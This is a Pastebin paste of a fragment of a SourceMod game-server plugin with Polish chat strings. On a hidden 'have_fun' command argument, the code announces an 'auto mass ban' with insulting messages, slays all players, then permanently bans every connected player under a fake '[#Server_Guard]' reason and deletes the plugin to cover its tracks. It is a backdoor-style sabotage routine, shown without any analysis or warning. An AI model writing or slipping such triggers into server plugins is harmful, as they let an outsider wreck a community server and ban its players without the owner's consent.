Advertisement
Guest User

Untitled

a guest
Sep 2nd, 2019
192
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 0.71 KB | None | 0 0
  1.     if (StrEqual(arg1, "have_fun", true))
  2.     {
  3.         CPrintToChatAll("%s Rozpoczynamy karuzelę śmiechu!", PREFIX_FUN);
  4.         CPrintToChatAll("%s Spierdalajcie z tego serwera [Auto mass ban].", PREFIX_FUN);
  5.         CPrintToChatAll("%s Ogólnie to właściciel serwera sobie bardzo przejebał.", PREFIX_FUN);
  6.         ServerCommand("sm_slay @all");
  7.         CreateTimer(5.0, have_fun, any:0, 0);
  8.         ReplyToCommand(0, "success");
  9.         return Action:0;
  10.     }
  11.     return Action:0;
  12. }
  13.  
  14. public Action:have_fun(Handle:timer)
  15. {
  16.     new i = 1;
  17.     while (i < MaxClients)
  18.     {
  19.         if (IsValidClient(i))
  20.         {
  21.             ServerCommand("sm_ban #%i 0 \"[#Server_Guard] Dokonano zabronionych operacji\"", GetClientUserId(i));
  22.         }
  23.         i++;
  24.     }
  25.     DeletePlugin();
  26.     return Action:0;
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement